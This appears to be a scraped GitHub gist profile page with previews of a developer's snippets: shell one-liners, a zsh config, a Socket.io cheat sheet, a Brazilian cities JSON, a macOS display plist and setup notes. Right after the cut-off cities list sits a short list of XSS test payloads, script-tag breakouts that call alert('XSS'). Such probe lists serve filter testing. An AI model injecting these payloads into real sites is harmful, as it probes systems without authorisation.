Skip to content

Instantly share code, notes, and snippets.

View guipacheco2's full-sized avatar

Guilherme Pacheco guipacheco2

View GitHub Profile
@guipacheco2
guipacheco2 / gist:3a3be07821a9a42d86c31379d36a85ab
Created October 4, 2019 15:27
Rename dir in md5 file name
for i in *; do sum=$(echo -n "$i"|md5sum); mv "$i" "${sum%% *}.${i##*.}"; done
@guipacheco2
guipacheco2 / .zshrc
Created May 22, 2018 12:52
put you in your last-used directory when opening a new window
# emulate bash PROMPT_COMMAND (only for zsh)
precmd() { eval "$PROMPT_COMMAND" }
# open new terminal in same dir
PROMPT_COMMAND='pwd > "${HOME}/.cwd"'
[[ -f "${HOME}/.cwd" ]] && cd "$(< ${HOME}/.cwd)"
@guipacheco2
guipacheco2 / Guia eventos socket
Created January 4, 2015 17:13
Node.js Socket.io
// send to current request socket client
socket.emit('message', "this is a test");
// sending to all clients, include sender
io.sockets.emit('message', "this is a test");
// sending to all clients except sender
socket.broadcast.emit('message', "this is a test");
// sending to all clients in 'game' room(channel) except sender
@guipacheco2
guipacheco2 / CidadesBR.json
Created November 26, 2014 22:54
JSON de Cidades do Brasil
[
{"nome" : "Abadia de Goiás, Goiás", "slug" : "abadia de goias, goias", "uf" : "Goiás"},
{"nome" : "Abadia dos Dourados, Minas Gerais", "slug" : "abadia dos dourados, minas gerais", "uf" : "Minas Gerais"},
{"nome" : "Abadiânia, Goiás", "slug" : "abadiania, goias", "uf" : "Goiás"},
{"nome" : "Abaeté, Minas Gerais", "slug" : "abaete, minas gerais", "uf" : "Minas Gerais"},
{"nome" : "Abaetetuba, Pará", "slug" : "abaetetuba, para", "uf" : "Pará"},
{"nome" : "Abaiara, Ceará", "slug" : "abaiara, ceara", "uf" : "Ceará"},
{"nome" : "Abaíra, Bahia", "slug" : "abaira, bahia", "uf" : "Bahia"},
{"nome" : "Abaré, Bahia", "slug" : "abare, bahia", "uf" : "Bahia"},
{"nome" : "Abatiá, Paraná", "slug" : "abatia, parana", "uf" : "Paraná"},
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83)) </script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
@guipacheco2
guipacheco2 / DisplayVendorID-1e6d.DisplayProductID-59f2
Last active October 29, 2023 05:55
How to force RGB in Mac OS X
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>DisplayProductName</key>
<string>Display with forced RGB mode (EDID override)</string>
<key>IODisplayEDID</key>
<data>AP///////wAebfJZAQEBAQEXAQSlQxx4hsqVplVOoSYPUFSlS4BxT4GAgcCp
wLMAAQEBAQEBfkgA4KA4H0BAQDoApSIhAAAYAjqAGHE4LUBYLEUApSIhAAAa
AAAA/ABMRyBVTFRSQVdJREUKAAAA/QA4Sx5aGAAKICAgICAgAMc=

Vagrant

Plugins

  • vagrant plugin install vagrant-bindfs
  • vagrant plugin install vagrant-vbguest

Config BINDFS

Before installing bindfs, we need to install FUSE with development package using yum:

  • yum install fuse fuse-devel -y
@guipacheco2
guipacheco2 / php-sock.md
Last active August 29, 2015 14:01
Infra

nginx error connect to php5-fpm.sock failed (13: Permission denied)

Instead of change permission to 666, better to change owner of php5-fpm.sock and set permission to 660.

Go to /etc/php5/fpm/pool.d Open www.conf (sudo nano www.conf) Uncomment all permission lines, like:

listen.owner = www-data listen.group = www-data

How do I uninstall any Apple pkg Package file?

At some point — I'm not sure which — Apple added an easier-to-use solution in the form of pkgutil.

  • $ pkgutil --pkgs # list all installed packages
  • $ pkgutil --files the-package-name.pkg # list installed files

After visually inspecting the list of files you can do something like:

  • $ pkgutil --pkg-info the-package-name.pkg # check the location
@guipacheco2
guipacheco2 / README.md
Last active August 29, 2015 13:58
VirtualBox

Vagrantizar uma VM Comum.

  • Acessar VM atual e adicionar eth1 no /etc/network/interfaces
auto eth1
iface eth1 inet static
address 172.16.0.100
netmask 255.255.255.0